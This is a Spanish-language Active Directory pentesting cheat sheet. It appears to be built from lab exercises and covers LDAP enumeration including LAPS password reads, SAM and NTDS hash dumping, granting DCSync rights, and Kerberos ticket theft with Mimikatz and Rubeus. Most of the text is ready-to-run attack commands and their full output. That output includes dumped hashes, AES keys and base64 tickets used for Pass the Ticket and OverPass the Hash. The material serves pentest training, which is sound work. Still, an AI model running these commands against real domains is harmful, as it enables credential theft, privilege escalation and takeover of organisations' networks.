ldapsearch -x -H ldap://10.10.10.10 -D user@domain.htb -w 'password' -b 'dc=domain,dc=htb' '(objectClass=computer)' ms-MCS-AdmPwd
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=m.lov*)"
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*lov*)"
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=*god)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" "(cn=god*)"
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=user)" sAMAccount memberOf
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(objectClass=computer)"
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(objectClass=computer)"
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" -b "cn=Moderators,cn=Users,dc=domain,dc=htb" member
# Autenticación simple
ldapsearch -H ldap://10.10.10.10 -D 'user@domain.htb' -w 'password' -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info
# Autenticación de Kerberos
ldapsearch -H ldap://dc.domain.htb -Y GSSAPI -b "dc=domain,dc=htb" "(sAMAccountName=user)" dn memberOf description userPrincipalName pwdLastSet lastLogon info
reg save HKLM\SAM C:\Windows\temp\SAM
reg save HKLM\SYSTEM C:\Windows\temp\SYSTEM
samdump2 SYSTEM SAM
pypykatz registry --sam SAM SYSTEM 2>/dev/null
nxc smb 10.99.99.10 -u 'usuer' -p 'Password01!' --sam
$SecPass = ConvertTo-SecureString 'Password01!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\jr', $SecPass)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jr -Rights DCSync
bloodyAD --host forest.htb.local --dc-ip 10.10.10.10 -d "htb.local" -u 'jr' -p 'Password01!' add dcsync "jr"
# A través de Impacket
secretsdump.py htb.local/jr@10.10.10.10 -just-dc-ntlm -dc-ip 10.10.10.10
# A través de Netexec
netexec smb 10.10.10.10 -u 'username' -p 'password' --ntds
set context persistent nowriters
add volume c: alias gzzcoo
create
expose %gzzcoo% g:
diskshadow.exe /s C:\Windows\Temp\test\diskshadow.txt
robocopy /b g:\Windows\NTDS\ . ntds.dit
secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
Necesitamos un ticket Kerberos válido para llevar a cabo un ataque Pass the Ticket (PtT). Este puede ser:
Un Service Ticket (TGS - Ticket Granting Service), que permite el acceso a un recurso específico.
Un Ticket Granting Ticket (TGT), que se utiliza para solicitar tickets de servicio y así acceder a cualquier recurso para el cual el usuario tenga privilegios.
Antes de realizar un ataque Pass the Ticket (PtT), vamos a ver algunos métodos para obtener un ticket utilizando Mimikatz y Rubeus.
Imaginemos que estamos en un pentest y logramos hacer phishing a un usuario, obteniendo acceso a su equipo. Además, encontramos una forma de escalar privilegios y ahora contamos con permisos de administrador local en esa máquina. Con este nivel de acceso, podemos explorar varias formas de obtener tickets Kerberos existentes y también crear nuevos tickets. Veamos algunas de las opciones:
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 329278 (00000000:0005063e)
Session : Network from 0
User Name : DC01$
Domain : HTB
Logon Server : (null)
Logon Time : 7/12/2022 9:39:55 AM
SID : S-1-5-18
* Username : DC01$
* Domain : inlanefreight.htb
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
[00000000]
Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
Target Name (--) : @ inlanefreight.htb
Client Name (01) : DC01$ ; @ inlanefreight.htb
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07
Ticket : 0x00000012 - aes256_hmac ; kvno = 5 [...]
* Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !
Group 2 - Ticket Granting Ticket
<SNIP>
mimikatz # exit
Bye!
c:\tools> dir *.kirbi
Directory: c:\tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
<SNIP>
-a---- 7/12/2022 9:44 AM 1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a---- 7/12/2022 9:44 AM 1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi
<SNIP>
Los tickets que terminan con $ corresponden a cuentas de equipo, ya que estas también necesitan un ticket para interactuar con Active Directory. Los tickets de usuario llevan el nombre del usuario, seguido de una @ que separa el nombre del servicio y el dominio. Por ejemplo:
[randomvalue]-username@service-domain.local.kirbi
.
Nota: Al momento de escribir esto, usando Mimikatz versión 2.2.0 20220919, si ejecutamos sekurlsa::ekeys
, se muestran todos los hashes como des_cbc_md4 en algunas versiones de Windows 10. Los tickets exportados con sekurlsa::tickets /export
pueden no funcionar correctamente debido al cifrado incorrecto. Aun así, es posible usar esos hashes para generar nuevos tickets o utilizar Rubeus para exportar los tickets en formato base64.
También podemos exportar tickets usando Rubeus con la opción dump
. Esta opción permite volcar todos los tickets (si tenemos privilegios de administrador local). A diferencia de Mimikatz, Rubeus dump
no genera archivos, sino que imprime el ticket directamente en formato base64. Podemos añadir la opción /nowrap
para facilitar el copiado y pegado.
.\Rubeus.exe dump /nowrap
c:\tools> Rubeus.exe dump /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
Action: Dump Kerberos Ticket Data (All Users)
[*] Current LUID : 0x6c680
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : DC01$
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:39:54 AM
EndTime : 7/12/2022 7:39:54 PM
RenewTill : 7/19/2022 9:39:54 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
Base64EncodedTicket :
doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lhggPlMIID4aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggOvMIIDq6ADAgESoQMCAQKiggOdBIIDmUE/AWlM6VlpGv+Gfvn6bHXrpRjRbsgcw9beSqS2ihO+FY/2Rr0g0iHowOYOgn7EBV3JYEDTNZS2ErKNLVOh0/TczLexQk+bKTMh55oNNQDVzmarvzByKYC0XRTjb1jPuVz4exraxGEBTgJYUunCy/R5agIa6xuuGUvXL+6AbHLvMb+ObdU7Dyn9eXruBscIBX5k3D3S5sNuEnm1sHVsGuDBAN5Ko6kZQRTx22A+lZZD12ymv9rh8S41z0+pfINdXx/VQAxYRL5QKdjbndchgpJro4mdzuEiu8wYOxbpJdzMANSSQiep+wOTUMgimcHCCCrhXdyR7VQoRjjdmTrKbPVGltBOAWQOrFs6YK1OdxBles1GEibRnaoT9qwEmXOa4ICzhjHgph36TQIwoRC+zjPMZl9lf+qtpuOQK86aG7Uwv7eyxwSa1/H0mi5B+un2xKaRmj/mZHXPdT7B5Ruwct93F2zQQ1mKIH0qLZO1Zv/G0IrycXxoE5MxMLERhbPl4Vx1XZGJk2a3m8BmsSZJt/++rw7YE/vmQiW6FZBO/2uzMgPJK9xI8kaJvTOmfJQwVlJslsjY2RAVGly1B0Y80UjeN8iVmKCk3Jvz4QUCLK2zZPWKCn+qMTtvXBqx80VH1hyS8FwU3oh90IqNS1VFbDjZdEQpBGCE/mrbQ2E/rGDKyGvIZfCo7t+kuaCivnY8TTPFszVMKTDSZ2WhFtO2fipId+shPjk3RLI89BT4+TDzGYKU2ipkXm5cEUnNis4znYVjGSIKhtrHltnBO3d1pw402xVJ5lbT+yJpzcEc5N7xBkymYLHAbM9DnDpJ963RN/0FcZDusDdorHA1DxNUCHQgvK17iametKsz6Vgw0zVySsPp/wZ/tssglp5UU6in1Bq91hA2c35l8M1oGkCqiQrfY8x3GNpMPixwBdd2OU1xwn/gaon2fpWEPFzKgDRtKe1FfTjoEySGr38QSs1+JkVk0HTRUbx9Nnq6w3W+D1p+FSCRZyCF/H1ahT9o0IRkFiOj0Cud5wyyEDom08wOmgwxK0D/0aisBTRzmZrSfG7Kjm9/yNmLB5va1yD3IyFiMreZZ2WRpNyK0G6L4H7NBZPcxIgE/Cxx/KduYTPnBDvwb6uUDMcZR83lVAQ5NyHHaHUOjoWsawHraI4uYgmCqXYN7yYmJPKNDI290GMbn1zIPSSL82V3hRbOO8CZNP/f64haRlR63GJBGaOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oCswKaADAgESoSIEIClgTKTOAY3p4054sB9McPBYb2xUn/kgVWSSXFoFCot8oQkbB0hUQi5DT02iEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIyMDcxMjEzMzk1NFqmERgPMjAyMjA3MTIyMzM5NTRapxEYDzIwMjIwNzE5MTMzOTU0WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdIVEIuQ09N
UserName : plaintext
Domain : HTB
LogonId : 0x6c680
UserSID : S-1-5-21-228825152-3134732153-3833540767-1107
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 7/12/2022 9:42:15 AM
LogonServer : DC01
LogonServerDNSDomain : inlanefreight.htb
UserPrincipalName : plaintext@inlanefreight.htb
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:42:15 AM
EndTime : 7/12/2022 7:42:15 PM
RenewTill : 7/19/2022 9:42:15 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 2NN3wdC4FfpQunUUgK+MZO8f20xtXF0dbmIagWP0Uu0=
Base64EncodedTicket :
doIE9jCCBPKgAwIBBaEDAgEWooIECTCCBAVhggQBMIID/aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggPLMIIDx6ADAgESoQMCAQKiggO5BIIDtc6ptErl3sAxJsqVTkV84/IcqkpopGPYMWzPcXaZgPK9hL0579FGJEBXX+Ae90rOcpbrbErMr52WEVa/E2vVsf37546ScP0+9LLgwOAoLLkmXAUqP4zJw47nFjbZQ3PHs+vt6LI1UnGZoaUNcn1xI7VasrDoFakj/ZH+GZ7EjgpBQFDZy0acNL8cK0AIBIe8fBF5K7gDPQugXaB6diwoVzaO/E/p8m3t35CR1PqutI5SiPUNim0s/snipaQnyuAZzOqFmhwPPujdwOtm1jvrmKV1zKcEo2CrMb5xmdoVkSn4L6AlX328K0+OUILS5GOe2gX6Tv1zw1F9ANtEZF6FfUk9A6E0dc/OznzApNlRqnJ0dq45mD643HbewZTV8YKS/lUovZ6WsjsyOy6UGKj+qF8WsOK1YsO0rW4ebWJOnrtZoJXryXYDf+mZ43yKcS10etHsq1B2/XejadVr1ZY7HKoZKi3gOx3ghk8foGPfWE6kLmwWnT16COWVI69D9pnxjHVXKbB5BpQWAFUtEGNlj7zzWTPEtZMVGeTQOZ0FfWPRS+EgLmxUc47GSVON7jhOTx3KJDmE7WHGsYzkWtKFxKEWMNxIC03P7r9seEo5RjS/WLant4FCPI+0S/tasTp6GGP30lbZT31WQER49KmSC75jnfT/9lXMVPHsA3VGG2uwGXbq1H8UkiR0ltyD99zDVTmYZ1aP4y63F3Av9cg3dTnz60hNb7H+AFtfCjHGWdwpf9HZ0u0HlBHSA7pYADoJ9+ioDghL+cqzPn96VyDcqbauwX/FqC/udT+cgmkYFzSIzDhZv6EQmjUL4b2DFL/Mh8BfHnFCHLJdAVRdHlLEEl1MdK9/089O06kD3qlE6s4hewHwqDy39ORxAHHQBFPU211nhuU4Jofb97d7tYxn8f8c5WxZmk1nPILyAI8u9z0nbOVbdZdNtBg5sEX+IRYyY7o0z9hWJXpDPuk0ksDgDckPWtFvVqX6Cd05yP2OdbNEeWns9JV2D5zdS7Q8UMhVo7z4GlFhT/eOopfPc0bxLoOv7y4fvwhkFh/9LfKu6MLFneNff0Duzjv9DQOFd1oGEnA4MblzOcBscoH7CuscQQ8F5xUCf72BVY5mShq8S89FG9GtYotmEUe/j+Zk6QlGYVGcnNcDxIRRuyI1qJZxCLzKnL1xcKBF4RblLcUtkYDT+mZlCSvwWgpieq1VpQg42Cjhxz/+xVW4Vm7cBwpMc77Yd1+QFv0wBAq5BHvPJI4hCVPs7QejgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCDY03fB0LgV+lC6dRSAr4xk7x/bTG1cXR1uYhqBY/RS7aEJGwdIVEIuQ09NohYwFKADAgEBoQ0wCxsJcGxhaW50ZXh0owcDBQBA4QAApREYDzIwMjIwNzEyMTM0MjE1WqYRGA8yMDIyMDcxMjIzNDIxNVqnERgPMjAyMjA3MTkxMzQyMTVaqAkbB0hUQi5DT02pHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT00=
<SNIP>
Nota: Para recolectar todos los tickets, necesitamos ejecutar Mimikatz o Rubeus con privilegios de administrador.
Este es un método común para recuperar tickets desde una máquina. Una de las ventajas de abusar de los tickets Kerberos es que también podemos forjar nuestros propios tickets.
Veamos cómo podemos hacerlo utilizando la técnica OverPass the Hash o también conocida como Pass the Key.
La técnica tradicional de Pass the Hash (PtH) consiste en reutilizar un hash de contraseña NTLM y no interactúa con Kerberos. En cambio, la técnica Pass the Key o OverPass the Hash convierte un hash o clave (como rc4_hmac
, aes256_cts_hmac_sha1
, etc.) de un usuario unido al dominio en un Ticket-Granting-Ticket (TGT) completo.
Esta técnica fue desarrollada por Benjamin Delpy y Skip Duckwall en su presentación Abusing Microsoft Kerberos - Sorry you guys don't get it. Más adelante, Will Schroeder adaptó ese trabajo y creó la herramienta Rubeus.
Para forjar nuestros propios tickets, necesitamos tener el hash del usuario. Podemos usar Mimikatz para volcar todas las claves de cifrado Kerberos de los usuarios con el módulo:
sekurlsa::ekeys
Este módulo enumerará todos los tipos de claves disponibles para el paquete Kerberos.
.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::ekeys
<SNIP>
Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session : Interactive from 1
User Name : plaintext
Domain : HTB
Logon Server : DC01
Logon Time : 7/12/2022 9:42:15 AM
SID : S-1-5-21-228825152-3134732153-3833540767-1107
* Username : plaintext
* Domain : inlanefreight.htb
* Password : (null)
* Key List :
aes256_hmac b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
rc4_hmac_nt 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_md4 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_nt_exp 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old_exp 3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>
Ahora que ya tenemos acceso a las claves AES256_HMAC y RC4_HMAC, podemos llevar a cabo el ataque OverPass the Hash o Pass the Key utilizando Mimikatz o Rubeus.
.\mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f" exit
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
user : plaintext
domain : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f
| PID 1128
| TID 3268
| LSA Process is now R/W
| LUID 0 ; 3414364 (00000000:0034195c)
\_ msv1_0 - data copy @ 000001C7DBC0B630 : OK !
\_ kerberos - data copy @ 000001C7E20EE578
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001C7E2136BC8 (32) -> null
Esto generará una nueva ventana de cmd.exe que podremos usar para solicitar acceso a cualquier servicio que queramos, ya en el contexto del usuario objetivo.
Para forjar un ticket usando Rubeus, podemos utilizar el módulo asktgt
junto con el nombre de usuario, el dominio y el hash correspondiente, que puede ser /rc4
, /aes128
, /aes256
o /des
.
.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /rc4:<hash_NTLM> /nowrap
.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /aes256:<hash_aes256> /nowrap
En el siguiente ejemplo usamos el hash aes256 obtenido previamente con Mimikatz usando sekurlsa::ekeys
:
c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 11:28:26 AM
EndTime : 7/12/2022 9:28:26 PM
RenewTill : 7/19/2022 11:28:26 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 0TOKzUHdgBQKMk8+xmOV2w==
Si queremos profundizar en la diferencia entre sekurlsa::pth
de Mimikatz y asktgt
de Rubeus, podemos consultar la documentación oficial de Rubeus en el apartado Example for OverPass the Hash.
Ahora que ya tenemos algunos tickets Kerberos, podemos usarlos para movernos lateralmente dentro del entorno.
Con Rubeus, realizamos un ataque OverPass the Hash y recuperamos el ticket en formato base64. Sin embargo, en lugar de simplemente mostrar el ticket, también podemos usar la opción /ptt
para inyectarlo directamente (ya sea un TGT o un TGS) en la sesión de inicio actual.
Esto nos permite actuar como el usuario comprometido y acceder a recursos dentro del dominio sin necesidad de autenticarnos con su contraseña.
.\Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKh
EzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpcGX6rbUlYxOWeMmu/zb
f7vGgDj/g+P5zzLbr+XTIPG0kI2WCOlAFCQqz84yQd6IRcEeGjG4YX/9ezJogYNtiLnY6YPkqlQaG1Nn
pAQBZMIhs01EH62hJR7W5XN57Tm0OLF6OFPWAXncUNaM4/aeoAkLQHZurQlZFDtPrypkwNFQ0pI60NP2
9H98JGtKKQ9PQWnMXY7Fc/5j1nXAMVj+Q5Uu5mKGTtqHnJcsjh6waE3Vnm77PMilL1OvH3Om1bXKNNan
JNCgb4E9ms2XhO0XiOFv1h4P0MBEOmMJ9gHnsh4Yh1HyYkU+e0H7oywRqTcsIg1qadE+gIhTcR31M5mX
5TkMCoPmyEIk2MpO8SwxdGYaye+lTZc55uW1Q8u8qrgHKZoKWk/M1DCvUR4v6dg114UEUhp7WwhbCEtg
5jvfr4BJmcOhhKIUDxyYsT3k59RUzzx7PRmlpS0zNNxqHj33yAjm79ECEc+5k4bNZBpS2gJeITWfcQOp
lQ08ZKfZw3R3TWxqca4eP9Xtqlqv9SK5kbbnuuWIPV2/QHi3deB2TFvQp9CSLuvkC+4oNVg3VVR4bQ1P
fU0+SPvL80fP7ZbmJrMan1NzLqit2t7MPEImxum049nUbFNSH6D57RoPAaGvSHePEwbqIDTghCJMic2X
c7YJeb7y7yTYofA4WXC2f1MfixEEBIqtk/drhqJAVXz/WY9r/sWWj6dw9eEhmj/tVpPG2o1WBuRFV72K
Qp3QMwJjPEKVYVK9f+uahPXQJSQ7uvTgfj3N5m48YBDuZEJUJ52vQgEctNrDEUP6wlCU5M0DLAnHrVl4
Qy0qURQa4nmr1aPlKX8rFd/3axl83HTPqxg/b2CW2YSgEUQUe4SqqQgRlQ0PDImWUB4RHt+cH6D563n4
PN+yqN20T9YwQMTEIWi7mT3kq8JdCG2qtHp/j2XNuqKyf7FjUs5z4GoIS6mp/3U/kdjVHonq5TqyAWxU
wzVSa4hlVgbMq5dElbikynyR8maYftQk+AS/xYby0UeQweffDOnCixJ9p7fbPu0Sh2QWbaOYvaeKiG+A
GhUAUi5WiQMDSf8EG8vgU2gXggt2Slr948fy7vhROp/CQVFLHwl5/kGjRHRdVj4E+Zwwxl/3IQAU0+ag
GrHDlWUe3G66NrR/Jg8zXhiWEiViMd5qPC2JTW1ronEPHZFevsU0pVK+MDLYc3zKdfn0q0a3ys9DLoYJ
8zNLBL3xqHY9lNe6YiiAzPG+Q6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX
oRIEED0RtMDJnODs5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUA
QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3
WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
[+] Ticket successfully imported!
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 12:27:47 PM
EndTime : 7/12/2022 10:27:47 PM
RenewTill : 7/19/2022 12:27:47 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : PRG0wMmc4OznDz1YIAjdsA==
Hay que notar que ahora aparece el mensaje Ticket successfully imported!, lo que indica que el ticket se ha inyectado correctamente en la sesión actual.
Otra forma de hacerlo es importar el ticket manualmente desde el disco, usando un archivo .kirbi
previamente exportado.
.\Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
